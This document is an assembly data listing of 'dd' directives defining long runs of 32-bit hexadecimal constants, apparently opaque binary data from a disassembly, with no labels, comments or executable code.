dd 0E2C8B2ADh, 0D70DC0BAh, 75771D57h, 2B166731h, 0BA805D7Ch
dd 28B3046Dh, 0EAD12984h, 6812488h, 0AD53A1CEh, 40010C3Fh
dd 0E922FB6Bh, 8A6B14DBh, 28777CC8h, 10366082h, 0A8D5D7E4h
dd 0D9D484F3h, 5F2B6803h, 819C588Bh, 29F1DC83h, 0FE29C5DDh
dd 0D6D02FC1h, 4E289F34h, 970BE9E8h, 1AA4F2D7h, 42D6560Ah
dd 0B600CBC0h, 0F52831h, 0DDF65A66h, 5113B753h, 0E916B509h
dd 0B507D8EEh, 56B4DC73h, 0CFA58AEEh, 700D5230h, 0A22BA3CCh
dd 0ABD29F90h, 0E73B08B1h, 0F180DE5Eh, 6B649C1Bh, 37839D29h
dd 3C0F70FCh, 657BD735h, 1C44868h, 0A5BDB341h, 0C02B3219h
dd 0E56A9C3h, 58D86097h, 7F5C091Eh, 0A555DFE9h, 0A613D992h
dd 5C5BBF82h, 8410725Bh, 739D5453h, 0A6C316D6h, 7A814124h
dd 47E8AA74h, 0BA56D58Eh, 11E9B461h, 50029938h, 0C0FE40B0h
dd 3EEBA941h, 8A83B927h, 541025DDh, 575C5246h, 0EC12281Eh
dd 0E0B4035Fh, 11353845h, 97112DBh, 0B585058Dh, 89548232h
dd 0D1C82102h, 3ADB49FAh, 47D542Dh, 900FE952h, 88C3FE1Ah
dd 1F8D84Fh, 0B8D76884h, 0BE56C3DCh, 0B0EC8E8h, 416E59E9h
dd 41FC024h, 0FA38C480h, 4BBFE02Ch, 4835A322h, 0D1E9A034h
dd 0B773B522h, 4A5A5A14h, 658A5B00h, 8A290EA1h, 5C4C7Fh
dd 171E0CBBh, 477EBE55h, 0E9B98A05h, 5FEDDCB6h, 0C335B505h
dd 75379327h, 6E687488h, 0AB301F5Eh, 581A2352h, 0E705D94Dh
dd 0F83AA96Bh, 537778E3h, 0D895EB25h, 1BAE2D68h, 680B1FC8h
dd 7A14E42Ah, 56BB66D3h, 8524AA19h, 58F7CFEFh, 28A0278Fh
dd 0C1E4D982h, 5772E921h, 72D737EFh, 48569A71h, 2F9F441h
dd 0E8FD7471h, 3101E13Eh, 2AA2ED0Ah, 2E7B24F7h, 52C7026Ah
dd 69B45683h, 0D2C12F27h, 0A49ED35Ah, 0B69E2158h, 66699F8Bh
dd 0FCDC20E2h, 1B4CFAC5h, 0CDB500AEh, 33895E68h, 3CE0B0C8h
dd 894CB899h, 5E303C52h, 0EFA6E491h, 0E7215C01h, 677720C2h
dd 7B549A0Ah, 0B9F01740h, 44ACCDB1h, 0C5D0302Fh, 2D68F258h
dd 0D09970BFh, 2A852A20h, 4EC18ABAh, 0E72C804Ch, 75801E68h
dd 215E0BA2h, 0B2CED652h, 0A059F016h, 0B878175Eh, 9C14E2A5h
dd 5898FEh, 689734B5h, 0CA81DAF7h, 4C488B0Eh, 0F0F2C035h
dd 0F86F1F02h, 1EB27CE2h, 25E96863h, 0F30557FAh, 5E8F6D19h
dd 0CF2A881h, 0D107763Dh, 0B4380865h, 0EC2F9536h, 925CA087h
dd 0C7A3B0E9h, 92FA2520h, 3C613A88h, 20A340DDh, 0DDA8E8E9h
dd 0A63CC580h, 9E1C4930h, 0E9EEEBC1h, 95BC72D7h, 3D02BE04h
dd 2C0EE79h, 604CF216h, 73051A4Bh, 64985815h, 0E858C34Bh
dd 3707E3EAh, 0F21061C2h, 467D21CFh, 4E67F2F1h, 0DE2CD1AFh
dd 0A72103CAh, 0D1F9D2D2h, 8D708B5Bh, 0B9865FE6h, 0D708E1B5h
dd 7F33D87Fh, 0E3319C40h, 0F4416A8Ah, 0C85C6498h, 8EB72553h
dd 832212BBh, 0BF7B58DBh, 37565010h, 7C09A525h, 0F6130DD6h
dd 7A547C8Bh, 4437A40Bh, 100C0F05h, 4F426809h, 5F544398h
dd 0BA5FC9FEh, 854A5EA6h, 1A01AE6Fh, 172B218h, 1252C47Fh
dd 93FEA208h, 0B996B2FDh, 0E10FCFFEh, 5C2E68C8h, 4847C824h
dd 88D8EB91h, 58818362h, 0BBA8413Bh, 1C56C952h, 0D88227E9h
dd 362F0AE8h, 8107D506h, 970D2BEAh, 126043C0h, 1251B880h
dd 0B8344A50h, 0A3C09C01h, 350F431Ah, 0D659001Bh, 0EEB92D6Ch
dd 0F89734ACh, 78B8006Ch, 0E9353DDDh, 0BE929EE5h, 6C2DD677h
dd 2915C5B9h, 0A65008F6h, 2607C220h, 53D76025h, 0B068FBF0h
dd 0A8DE9971h, 0D5072D01h, 0C59DFE4Eh, 4B032EEEh, 8A039C2Bh
dd 3B16A391h, 0E094077h, 5D5B2B67h, 85684AB0h, 0E03B2A55h
dd 8F5A76C6h, 698F49F8h, 0CF291390h, 566F7349h, 90684165h
dd 0B3D2073Ch, 3EF5D9F9h, 7E84A5DBh, 7FA3508h, 0B02055Bh
dd 0B479C176h, 66D5D16Eh, 7AAE4253h, 30AF4D53h, 838F2868h
dd 0C05D2E11h, 0CFFC736h, 7635CF05h, 1CC07812h, 33223BFh
dd 0C1D6F767h, 0E69B04EEh
dd 0CA0E075Eh, 78F8874Dh, 848CF661h, 0A02F7CCDh, 8E5A6BD5h
dd 0E2C4B7ACh, 7C8E2EFh, 9FE29DFh, 0AEE3C7C2h, 0D44936B7h
dd 4C692BBCh, 0A8B532F0h, 0D282B3E8h, 910A6D11h, 0EAB5A828h
dd 1497ABF2h, 0FEE918F3h, 6BF2E374h, 4A674439h, 650356A8h
dd 4214607Dh, 187B1C38h, 850C2FA0h, 0AFD300B3h, 535AD501h
dd 7928E950h, 801CA617h, 0F905AAC7h, 0F71C285Bh, 0AE9FA02h
dd 0B7B1A3ABh, 0ED2628DDh, 0CE10F5CDh, 7267876h, 151DE162h
dd 89A03F58h, 0D2989570h, 5782D567h, 0F0D17499h, 9991B076h
dd 1E27F83Ch, 0BC1C7923h, 6DB1C898h, 72094EC5h, 965939C9h
dd 96E91034h, 0FC5A2D25h, 0CBFE420Ah, 7987F854h, 0A3E3D928h
dd 0C153069Ch, 0D4A60CE4h, 90B68F27h, 1F665366h, 5275EC68h
dd 6E84A11Dh, 25589C9Eh, 29EA134Ah, 6FA02EE5h, 9F181825h
dd 5484652h, 63EABC2Dh, 5C29B93h, 5B1D6D22h, 6807F03Dh
dd 0E621022Dh, 0E911E15Fh, 26172A22h, 1DA1B2ECh, 236800E8h
dd 8F2FC476h, 459AEBE4h, 6C971C20h, 0EC713077h, 0EEC38133h
dd 0EE44634Bh, 39E80244h, 0BB6B7C84h, 348BDA31h, 582887Bh
dd 61F3B95Ah, 57C7BB18h, 2C5FA5BDh, 7C884021h, 16E240ACh
dd 5BD5E397h, 8586DE7h, 8351B605h, 0F005AE67h, 24F45808h
dd 68530557h, 0BAFE074Eh, 2EEF9853h, 911460CCh, 97F6817h
dd 0A5D0E952h, 0BF94D690h, 5836C025h, 0A93FFC22h, 9B6E5EBFh
dd 0CDBD4A56h, 0F099E917h, 0D62D290Ch, 0BD5D25Ah, 467C22AAh
dd 78217D0h, 0EA596BFEh, 14CEF26Eh, 7D269725h, 7CF3EE00h
dd 215A6658h, 9D16B2F0h, 0D972C39Ch, 38D83AD2h, 515B8058h
dd 0D101FFBEh, 4909AE78h, 80962460h, 5D58E831h, 892E6F2Eh
dd 46BAC174h, 97ABEBD8h, 9698DEF1h, 0CF78135h, 60E86EB9h
dd 0F162A0Ch, 3EC54E5Ah, 0BF8290BBh, 765CED3Eh, 8F662DA8h
dd 67B14114h, 0C93C4873h, 7E847948h, 0A527EE79h, 56FC9582h
dd 2B305139h, 78BA2385h, 784B684Ch, 7866F7F4h, 12EE2552h
dd 0A68247F1h, 0DF8BE688h, 459BC2ECh, 38945D49h, 9048E913h
dd 31A27941h, 3F704217h, 294AB55Ah, 74120B0Bh, 0E9843AF6h
dd 44AEA840h, 9E2D660h, 5B04EE5Bh, 0B13FB802h, 416FEEBBh
dd 0E81EAB96h, 0AD74303Fh, 0CA08CF72h, 5A7EDE9h, 8902EA83h
dd 3C896E4Ah, 0F32ED4F1h, 0AC26D3AEh, 161709F0h, 6EFE7970h
dd 0B2F2290Ah, 5E5B0B20h, 0D6D868ACh, 87809E7Ch, 0CEC0B0F2h
dd 0A29C3108h, 0BD689609h, 0BB4B9963h, 216D456Eh, 6961EAD8h
dd 38738859h, 0B7EF2578h, 5163B812h, 0A1A6E75Eh, 1F5E2A7Ch
dd 2316A0DFh, 31457B22h, 5A2CBD1Ah, 0DFDC2C5Bh, 9668354Bh
dd 0EEB0542h, 0F8A70641h, 6AE91DB4h, 59206927h, 15E84531h
dd 0F2479D22h, 0DACBC32Ch, 0D20A20BDh, 155346A1h, 851CA692h
dd 8DA8EF47h, 82C9E65Bh, 0D4C654E9h, 0A5BA929Fh, 2A5AF006h
dd 2B274E24h, 17CC3408h, 0FAA6E064h, 0BB96140h, 4B7656F6h
dd 9E7A104h, 0D3AA82BBh, 0D2C0DF03h, 80BF275Fh, 0C8FB9DAFh
dd 0AC51506Ah, 4960821Bh, 59251221h, 0F485C6Eh, 0CDB3C0Dh
dd 2A9C1CC9h, 2E185FE0h, 898737Ah, 23ECD71h, 4C5BE305h
dd 6AAFE174h, 0C53016A7h, 2C2E1F0Ch, 0AE100BD6h, 0D6D0281Fh
dd 120F759h, 788ABA52h, 402E07D5h, 0B3656D2Fh, 545E010Dh
dd 0C06A1CDh, 4AE9266Dh, 555A8B06h, 58BC9616h, 7AE85344h
dd 0C516280Eh, 415AB877h, 62116107h, 78105058h, 0EEDFF780h
dd 141BADDh, 6E72E0BAh, 60D70919h, 0BF17C705h, 4885C1CFh
dd 1E5C4FBBh, 0D85A7D7Eh, 0F9A80115h, 2980F380h, 5BA6EEE8h
dd 429E9D62h, 5225AC0Bh, 801CE6C0h, 0AC9C5EE7h, 0DFF61716h
dd 88DDEE01h, 0EEF85BFEh, 0F0281220h, 0F805AE5Ah, 90D037E9h
dd 0AC22F368h, 103D0088h, 0E381437Fh, 4E1F35C7h, 96DE916h
dd 0C9C5D97Dh, 0C6A58CF6h, 0F0E91256h, 0D5E36179h, 0ACF33AAEh
dd 0E6EB5C8Fh, 0E0D33F40h, 0DA609598h, 0D89C52Dh, 843EE53Ah
dd 7B54C1CFh, 765102E3h, 0CFD0695Bh, 7E859580h, 5A27C92Fh
dd 4208828Bh, 78170975h, 0EDE827A1h, 0C1E78FF6h, 18826ECDh
dd 0B9687AB2h, 30A5CC7Fh, 0E19F8A78h, 302425FCh, 0E0015203h
dd 0E9384D5Dh, 99F252A2h, 0D9D8A7D6h, 4E589694h, 0F76680CDh
dd 459C62CFh, 0D1416017h, 3EF95096h, 9CA176E8h, 321F8289h
dd 85007ADFh, 7653A470h, 950658C1h, 0C4453607h, 63CAF035h
dd 3E7CE316h, 44FEE206h, 0A364CD2h, 0A6FDAAF1h, 73F60099h
dd 2FE932F4h, 5DEC1564h, 0C9E5CFC9h, 5A14202Bh, 7249C768h
dd 0A37F1045h, 0F2BCAC3Eh, 8D90BE12h, 0FC946F4Fh, 1B9AD401h
dd 1C3B6208h, 548C6BDh, 30B415A0h, 0DF020D28h, 134CD5Fh
dd 8FF88D5h, 56535A09h, 674258C2h, 0FF443181h, 606DE0Ch
dd 30E1F003h, 11E04105h, 9FB02529h, 5577F6F4h, 264D69h
dd 0F14BFEEh, 502C2435h, 79830711h, 55432072h, 6C9557E9h
dd 202453Bh, 11751FDBh, 0CB4456FCh, 59DD8ABEh, 62B8CB69h
dd 74477D2Dh, 0DB94E986h, 40659722h, 6027CC24h, 0B9E35AAh
dd 315853C4h, 0EB0B0776h, 3F526C5Dh, 752DE9C3h, 33B9A2A0h
dd 26C330B5h, 0C5E33CBCh, 8A712FAh, 0BA01F3DBh, 0EF56BD3h
dd 0A6953230h, 0F02925FBh, 2D0B6714h, 0D4064879h, 84A520FDh
dd 8107A108h, 78F00405h, 0F2521F94h, 0B64E8C8Eh, 7EE90B87h
dd 3B9D90DAh, 48419CDBh, 0FB522DB5h, 0AFB40AFCh, 82A8FB21h
dd 98FACAE6h, 50416C2Fh, 12BAFA4Ah, 0A172F11Ch, 898B030Bh
dd 44602AB9h, 0A0C0A8A1h, 24E9C231h, 96E05E52h, 53231ED1h
dd 8917C1B2h, 742D2BCBh, 0AB121860h, 877C1DD6h, 8D31AD9h
dd 0D96F49DCh, 8B382FEBh, 0FBEA295Ah, 0BD64CDB2h, 0A5628E7Ch
dd 52E7735Eh, 4F08EEA0h, 1A1DE606h, 0D67F7031h, 141A0502h
dd 0CF5EC1D6h, 0D15C6059h, 8F04E769h, 60FA1291h, 41058C9h
dd 805DD388h, 3B59EB80h, 798D2ECBh, 59BA6805h, 0BDC466F8h
dd 0DDEF415Dh, 0BF204C77h, 553A02E7h, 9DE92D46h, 5E4E03D0h
dd 67BBA753h, 3E432D9Fh, 5E63D4B4h, 272F8AF5h, 422B5CC5h
dd 33C6B0BCh, 35BB659Fh, 88ABE0Ch, 0D7685C05h, 5E5F2227h
dd 90C46629h, 63C49D49h, 904FF574h, 6E2D0C00h, 27DC47A2h
dd 0DAD6C121h, 44E91CCBh, 74410D33h, 9B1A5A83h, 3AD90C69h
dd 92402FE6h, 0FA6349E7h, 0C70EC07Ch, 97BFBEBAh, 3612574Eh
dd 595B41FAh, 74B599E9h, 541693ECh, 0DC016BC9h, 72EC336Fh
dd 122EC3D8h, 0BBBC1B02h, 4D619044h, 440003B3h, 0E929B676h
dd 86B19E65h, 0FEDBC546h, 0C369B726h, 577DF005h, 0F8E1095Eh
dd 575B0707h, 0D1849229h, 0FD8904A8h, 6E9BB7B2h, 2F6FB589h
dd 5EBA47C8h, 4EB9CC40h, 522D1B72h, 7FD44095h, 890082D5h
dd 38A0338Fh, 12865048h, 71EB915Ah, 0E0B353FAh, 0E91AC6B1h
dd 55CF0A75h, 257DDF80h, 50B75732h, 0FF768B4Fh, 133E6891h
dd 882A904Dh, 0CB40F61Bh, 49EDECADh, 0F04C6398h, 265C4210h
dd 6C09BA61h, 42A7148Ch, 5C2C1218h, 0FB4074EFh, 70B80928h
dd 0A77BE15Fh, 0DC0127DCh, 4C525948h, 51955A11h, 9DD4EBADh
dd 105BA5B8h, 8087DD32h, 671736B9h, 8E4B69C3h, 69757E47h
dd 0F76B942Fh, 87A7A676h, 5B570114h, 0B58267Ch, 757AE968h
dd 1C2C071h, 3644DFCAh, 0A7A3E913h, 0E690E8ACh, 0BDEDBA77h
dd 62ACA767h, 2B2EA40Eh, 4073D63Ah, 56FBA034h, 87648495h
dd 64836B8h, 0E91FF8F7h
dd 68ACA6EEh, 9971B20Bh, 6AE4502Ah, 19B5247Ah, 6F7E2DE9h
dd 5CA7A348h, 0BF09C9D9h, 0DBF72FE0h, 0C3BFF398h, 0E6260022h
dd 893412BDh, 594AE9DAh, 11C7E643h, 649FE75Fh, 2C05C6ECh
dd 4EE5FCD0h, 1F9E39FDh, 2CF00E69h, 0E9E6829Fh, 47A60C19h
dd 2EA006D3h, 5D825AFEh, 0EF16CBC3h, 0D2E1F068h, 0C48EA23Ah
dd 0DCBCCCE9h, 512A8B42h, 699B96DEh, 0F577A955h, 2BFA69Ch
dd 6C14B16Bh, 16CAB92Bh, 8C7008F3h, 0CFB85D12h, 2C083E0h
dd 0FA17E92Dh, 55FC2DE1h, 59E4B851h, 0D906D1F6h, 0B9EF38E9h
dd 934F9209h, 1B8B55h, 20583F49h, 93F8B49Eh, 9391A2B2h
dd 0EA8406FDh, 0CFCCFF5Dh, 0B3794ED9h, 0BEF1162Ah, 0ACE545A8h
dd 85E9A068h, 9AD5CF7Fh, 5B728342h, 7508D260h, 436F6512h
dd 0C6539D02h, 0D805C067h, 34C08260h, 0C7AEEEB0h, 0CBCF5197h
dd 348BEF56h, 60249AF1h, 1361FA64h, 0E810BBDh, 79A27E60h
dd 0BC492EE9h, 0A5477C33h, 0E98A88BFh, 7CCE4C25h, 1003617Fh
dd 79DF3038h, 528D935Eh, 48736B66h, 0BD3553E1h, 0EB00E23h
dd 1555FF9Fh, 725E8F11h, 3E3BA00h, 0BB294901h, 23F733E1h
dd 85587731h, 0EA40BBFh, 0CB42EB5Ch, 0CB961075h, 62F0264Ch
dd 4A960085h, 86E927EEh, 9F41B15Ah, 540A635Bh, 17330E00h
dd 9C0C6261h, 0E9F844A5h, 7CCB248h, 53515A5Bh, 0E8D35959h
dd 0B6B4E985h, 1213D7ADh, 0BF9C416Ch, 6E89597Ah, 0ACE8B312h
dd 25B4ED4Ah, 7447F455h, 0A30467D2h, 68E811EEh, 84A97BCBh
dd 7C3A25Fh, 0A4680218h, 95F226DDh, 0F9429D57h, 2F24140h
dd 0BD2901Fh, 17B058D7h, 65B63852h, 285AF001h, 0E95166D8h
dd 0D588E8B2h, 0EC566EB0h, 0FE6839EDh, 513F63CBh, 23F4A711h
dd 0F2F817BEh, 9D001DCDh, 2370B9h, 0E18129AFh, 39FA415Ah
dd 12B20EDh, 2FEAAA7Ch, 72FCFF5Bh, 0FDC58BE3h, 2E89D39Bh
dd 2F3D2D3Eh, 8E6B66D9h, 0AE7E13F6h, 0AF40A0F6h, 8DBB753h
dd 2ED54C4Bh, 0B25A45E9h, 0F1FC5DBEh, 0F6CF6C6Eh, 89119530h
dd 53F8F850h, 8FF4E94Fh, 15A712BEh, 1776E8F1h, 18EA3410h
dd 21DA0E5Ah, 4608CC12h, 1BBC3408h, 93A4CD66h, 0B6690245h
dd 0E14C8412h, 0E54A12ABh, 52F43B29h, 16E5BEF6h, 0BC21EF05h
dd 2DA5796Eh, 0E09C928Ch, 7BCA6812h, 0C8533533h, 1D9B1A42h
dd 80BA5B31h, 81DEEFF4h, 812B6EAh, 0DCE53278h, 0A2E90800h
dd 908B9277h, 50E30ACDh, 1F9D3B55h, 22F94972h, 6AF24680h
dd 4E3028B6h, 0D8E652F7h, 0B8617112h, 4DD201CBh, 0F309CD74h
dd 0BF846A5Eh, 1FBA5C4h, 122BAC64h, 0E9D5300Ah, 7CE8693Bh
dd 36ECF504h, 0C1EF8988h, 7AE3B5D3h, 0F057A134h, 7D5FDC81h
dd 62BE6600h, 78B73B74h, 7822908h, 0E9A6ACFCh, 6E8B3DD4h
dd 62A55E0Eh, 0EE20A70Ch, 0E3113DD3h, 10F3660h, 47239B27h
dd 0A445EF87h, 0B6035006h, 0B0589806h, 51D14F7h, 0FE097642h
dd 0F6FD075Fh, 1F4381ABh, 0C6B02F89h, 3412F148h, 0D6622300h
dd 0F81FC13h, 6C32EDCEh, 2E6C1A3h, 239AB205h, 89D42B0Dh
dd 680480BDh, 0B810965Eh, 46751E25h, 9FE99B84h, 0A6F1D795h
dd 332C4082h, 0E4C101AEh, 0A1C47CC9h, 0D3345F92h, 61270C24h
dd 0E2674A5Ah, 6CE207F8h, 669864C0h, 32E91FB3h, 4449ECD3h
dd 0FA21E6D5h, 0CB9F4CCEh, 0B270F381h, 3CEBED1Ch, 0EB24F37h
dd 0B057929Fh, 0C5BD5F79h, 0B9A2AD46h, 0BC51FD48h, 67A8DC2Fh
dd 0BC2C3568h, 1FE9C290h, 0FCB075B8h, 6CBF22F3h, 4751557Eh
dd 5E31E9D8h, 0D3C9E88Bh, 0B0B66563h, 26EC680h, 0E9F18851h
dd 9E54C83Eh, 3DAE6B82h, 20FCDE18h, 5C7724E2h, 3CBF208Eh
dd 7F257C7Bh, 0EE92960h, 0F42FCF94h, 93E9782Fh, 5722646Ah
dd 303ED5E6h, 0BD100346h, 761E29D1h, 0D4C94519h, 8D69D9EDh
dd 82D91304h, 0E260E544h, 20E88776h, 6158B0Eh, 0BF060722h
dd 87096AD8h, 7C0A4C3Ch, 45240071h, 0D189EF20h, 4AD65A52h
dd 0A29083A2h, 0D11F6505h, 59130B27h, 0C33E8A1h, 0D2E5EB54h
dd 0AAD2C68h, 0F01D040Fh, 370264CCh, 0F5681B2Eh, 89C8D907h
dd 0B65CCACEh, 682F84E9h, 21FA9C16h, 505300F3h, 0EE6250B0h
dd 9B4406Fh, 67F0DEB0h, 5627549Eh, 4B591E67h, 9D7EB0C4h
dd 0D32FAB82h, 3AD07055h, 71311418h, 0FCBC400Ch, 0FD0C8938h
dd 3AEE015Fh, 6B04805Dh, 97D25E98h, 116B46FEh, 1CB59C0Dh
dd 0B6A6257Ah, 0C462045Eh, 0AA8009A1h, 265935C8h, 123074B6h
dd 0B72E3BD1h, 0EA12ADC0h, 299D3304h, 47BB59CEh, 8736EE16h
dd 0F4689764h, 5AB9E337h, 58F46D22h, 0BC5C5F4Ah, 0B78864DFh
dd 71E5E54Eh, 0C030EB73h, 711E68EFh, 0B850020Ah, 2B385413h
dd 1EA6C184h, 3DAB5F12h, 46452ECAh, 2ECD68BCh, 8C2C6C78h
dd 0E0B20873h, 548D963Ah, 9D9701E2h, 6FCB2BEAh, 0F02E3741h
dd 8A4A44ADh, 167632B3h, 0CB16FC26h, 0BEE384Ch, 76F5CCDCh
dd 823092C6h, 1657548Bh, 75BB7A7h, 0D410DEACh, 3DFD662Eh
dd 0E50AC27Bh, 0A6225449h, 1BC5016Fh, 97006D25h, 0D258EDADh
dd 0D028EF09h, 2E3AACC5h, 510EE680h, 5F2CA4B1h, 25301DAAh
dd 0BD01B5FEh, 0B719E93Dh, 2D09A67Ah, 89CA8967h, 58351CD5h
dd 4C1EDC55h, 1271373h, 825B925Ch, 0F7832067h, 23103109h
dd 506B8629h, 2C16752Ch, 54E3F90h, 4EED103h, 840721A1h
dd 9FA15FAEh, 1DE985E0h, 92A46788h, 3E518049h, 6AF4FFA0h
dd 0BFDC7A82h, 4D098444h, 57533D6Ch, 6C7DCA92h, 21664E95h
dd 4953708Eh, 0BFC13F2Dh, 0D1000D67h, 0D05839EAh, 8D821024h
dd 2047C707h, 3809A014h, 0C1EE6FD1h, 464677Ah, 0D8BE0609h
dd 7E40C46Dh, 6F479D5Dh, 0DD6FD21Ah, 0EC23D62h, 0B2CD44F7h
dd 47CF0715h, 6F289453h, 0F7D3DBE1h, 12B138FAh, 0E8B867D5h
dd 0AE2DEE97h, 2933D2F6h, 9A9A52F9h, 0FA720631h, 97B22BF9h
dd 0EC5ADD90h, 0B5A35FDCh, 0BE6C8116h, 65A1EF34h, 0D057A36Bh
dd 5FBF8BCDh, 0AFE90FA1h, 0C450380Dh, 0DCAFE7ADh, 0C2B15CC2h
dd 0D673DA8Bh, 0B738D2D6h, 2180973Eh, 0E2584AC3h, 2AAD4AE3h
dd 65F38101h, 322C2008h, 0BAAB1263h, 896C5A3h, 0AA3A5709h
dd 0BF009F5Ah, 277D139Dh, 994A0968h, 8260A628h, 8E656DDh
dd 2EDF885h, 596EE907h, 14B745E6h, 0DCE9309Bh, 61C9BF6Dh
dd 0F834642Fh, 5F85FA61h, 94A2A310h, 0AFC0E42Ah, 6D9279Dh
dd 0BFE94130h, 0E4E158D0h, 0A0902C5Bh, 1C90812Dh, 0D8575BC7h
dd 650F1F79h, 89434A64h, 0E30BA0C3h, 4EF36BABh, 0F848189h
dd 0A79F3C7Bh, 0AB6EEBCFh, 28B965D2h, 0B98E5B48h, 13C990CCh
dd 2DFA1C8Bh, 0BE303ACEh, 0BC259268h, 0DE034BD3h, 85765CA0h
dd 0F402A38h, 0A9CE212Eh, 5A32D04Bh, 5FDCA046h, 52484C1Fh
dd 71E51049h, 0C9E69846h, 4741F868h, 0C6F7EAEBh, 49A1F00Bh
dd 513809CFh, 8C4A88C1h, 685E0391h, 3D3C1266h, 50E741C0h
dd 4F36C3C5h, 4221D951h, 8801D2E3h, 8159387Fh, 0E435B82Ah
dd 5DB44BEEh, 50488758h, 133101DDh, 0EF834BE7h, 3005296Ch
dd 0D135FD2Dh, 0E29A7EE8h, 0C22F445Eh, 0E7634BBCh, 1310F767h
dd 58890C2Ah, 0A84450F8h, 4BA01B0h, 80F12C25h, 0C383FFEBh
dd 66A92EAFh, 7D7A105Eh, 30DF0B89h, 97A44880h, 47D10333h
dd 77D26A6Ch, 15FFC4Ch, 0F53DEFBAh, 5E468255h, 0C0525448h
dd 7865A5A1h, 17E91243h, 0DCD3AC7Bh, 0D904DE97h, 0FE00D177h
dd 11F480CCh, 12E3203Eh, 12ADACEBh, 75A0A91Ah, 0F0BFB22Dh
dd 429651CFh, 0B0C4F82h
dd 73274032h, 3BD901DEh, 2959CD31h, 52DA41E8h, 3CFD7250h
dd 30869268h, 55C29C80h, 811D13C7h, 259D04CAh, 0ACBFB462h
dd 976BAD02h, 85BFAEE9h, 0D8F1A27Dh, 25E96754h, 0B5D4D1A5h
dd 53081E1h, 0F971E98h, 3FF9092Ah, 0B328F050h, 62A0D165h
dd 301E5BDAh, 0ED425AD5h, 51E8282Fh, 815344C9h, 79D3A63h
dd 0EF725667h, 97405E86h, 7720EEDEh, 1730635h, 0E1056190h
dd 2E553815h, 65401A1Fh, 0E92E10FBh, 1C0095C9h, 873862D1h
dd 45666A73h, 1F14C109h, 83428107h, 0C376C4E1h, 0A41F16BEh
dd 0FFCF3B49h, 2CFCD64Ah, 7538B01h, 80C3B84Ch, 6621050Bh
dd 482913A5h, 970B0ED0h, 4FF40475h, 0EE3FB604h, 0F1F57180h
dd 21D92662h, 0B72504C7h, 8A028191h, 90DF6CF3h, 762204F9h
dd 9FB6D71h, 30D70178h, 5EEF122h, 510AB7CCh, 0B9A02C5Dh
dd 353C9809h, 76C9803Bh, 300A4A39h, 0CEC0D1F7h, 605E1C73h
dd 5E9C202h, 0F2D55A67h, 0CF58B744h, 52BFF224h, 1A88A42h
dd 34207D68h, 0C6F5827h, 7ECF4B0Ah, 45B46054h, 0C695E508h
dd 0CD803195h, 2F0C9CBCh, 899F0BA3h, 0ECF9EE43h, 16C2FC88h
dd 0A245FC5Eh, 85A35957h, 0BCD4685Ah, 1809D267h, 0C2507E78h
dd 0F620B59Ch, 5C9076DAh, 0DB6B7877h, 46117BFCh, 0CBED004Ah
dd 293AB462h, 0AA0A8B1h, 169D8B5h, 197D4036h, 3FBE15E9h
dd 267983B3h, 88CDCD53h, 0B8014E84h, 49711CEDh, 41081A30h
dd 0FAD16A5Bh, 5F00EC4Bh, 8172EB01h, 0A71E1809h, 43FA711Dh
dd 225EC301h, 3681EAD4h, 746F9CA7h, 0A79FBBDFh, 0F22EA741h
dd 4950D969h, 6866A182h, 0D87E0763h, 0F6FD8881h, 0E8D550D5h
dd 0C280846Bh, 0D7097E9Fh, 0D3798502h, 77EC106h, 0BD43930Dh
dd 0A4116019h, 0F095E642h, 4AF0BF11h, 4DAC7A1Bh, 1B64F00Ch
dd 83A8952Bh, 120C3408h, 78770C14h, 295E66EDh, 1C429B8h
dd 0B9E9024Ch, 0B7987D90h, 33C1A126h, 45B15152h, 0BD0E1CE8h
dd 0E5F1CDE4h, 0D9B92C57h, 20B2021Ch, 3AD75210h, 0C8C3B4h
dd 838B789h, 805B66FAh, 2596CA3Fh, 0DFF142EEh, 2921B884h
dd 0C03C24B0h, 1BF007E2h, 80BB00BFh, 4E28AAF1h, 7F0DA2C8h
dd 7DBE82Ch, 807AB180h, 66FE94E1h, 34880AC1h, 1192087Bh
dd 0F6C13698h, 58E32859h, 5EA76D60h, 30A48956h, 2EB4DDFCh
dd 14C89FC5h, 69C041DAh, 0CEBD4B2Eh, 7C2D6809h, 4586755h
dd 0BD6ED1E9h, 59C9DE4Eh, 90C4C461h, 311217CDh, 0B3FC04C8h
dd 0BDB700CBh, 0F401EF80h, 47FE62C4h, 5E250268h, 0FEDC12BBh
dd 0F22EC769h, 983E108Ch, 0B2B0FC4Ah, 0E06810EFh, 64775E95h
dd 0F6CFEFCEh, 37129142h, 9274AD09h, 5BCB83D8h, 92ED376Dh
dd 0AD64E2DEh, 0D760030Bh, 9D02F572h, 65AEA81h, 0F27E68B7h
dd 7FF612CAh, 0B186016Eh, 7B44665Ah, 0F252F40Eh, 0E9566CFAh
dd 61F1D04Fh, 9218F0Eh, 18544F08h, 4E998259h, 0D4762725h
dd 6A08A093h, 15A4A65Eh, 14FD12Bh, 0DCF9C8A9h, 99C72ECEh
dd 88A5D68Bh, 133D486Dh, 23ABA363h, 0BA8501E7h, 450EFCEh
dd 6F819D02h, 6E3A0650h, 3BB5FA1Dh, 91694BAh, 0B07D99A2h
dd 824BDC74h, 7F8876C0h, 0D02DEB2Dh, 4891BE6Eh, 0B25A129Bh
dd 9688DE3h, 811C9493h, 2EC386DFh, 9317A7A3h, 0E83DFEB0h
dd 0D7982C3Bh, 0D441C841h, 0AD017C5Fh, 38332B55h, 0AA43D9B9h
dd 0BC9FD60h, 45E64EBCh, 1609CF00h, 0E92A0D44h, 31509EF7h
dd 0E840A1F9h, 0B7A3A4BDh, 0B7034164h, 894D1BB2h, 98C958DAh
dd 0BD6CF616h, 0F501C901h, 2BF7B92Bh, 0C053D415h, 96C47D9h
dd 6852551Dh, 3A924E41h, 0A17E4A5Ah, 5F0B4060h, 89E2BE31h
dd 0A111DFB6h, 42FEB527h, 0FE070118h, 0FEBB8CDh, 59EE28B3h
dd 19F6C7h, 0B9B5E9F3h, 0A1203899h, 4FE9CEBDh, 2DE6A251h
dd 57B9E159h, 0F414D68Bh, 0AA8C05E4h, 7D186813h, 62804837h
dd 4B276F5Dh, 4631B058h, 0C1644427h, 0D9CA05F4h, 0CEA68853h
dd 729DF280h, 7D2160BBh, 94234ED7h, 4FCDFCC6h, 9CC03CC8h
dd 4D85A2E8h, 563FA3F7h, 0AD6FCD17h, 780B6962h, 0D20C2CC4h
dd 0D56BF4h, 5B0F8FE5h, 92AEFE1Eh, 1A2D05ECh, 0EB7E9D79h
dd 702A184h, 83D810E9h, 0D2DA0354h, 0F944DD97h, 217CE931h
dd 97205F54h, 574082DBh, 114EA075h, 0C1103EF6h, 675D2561h
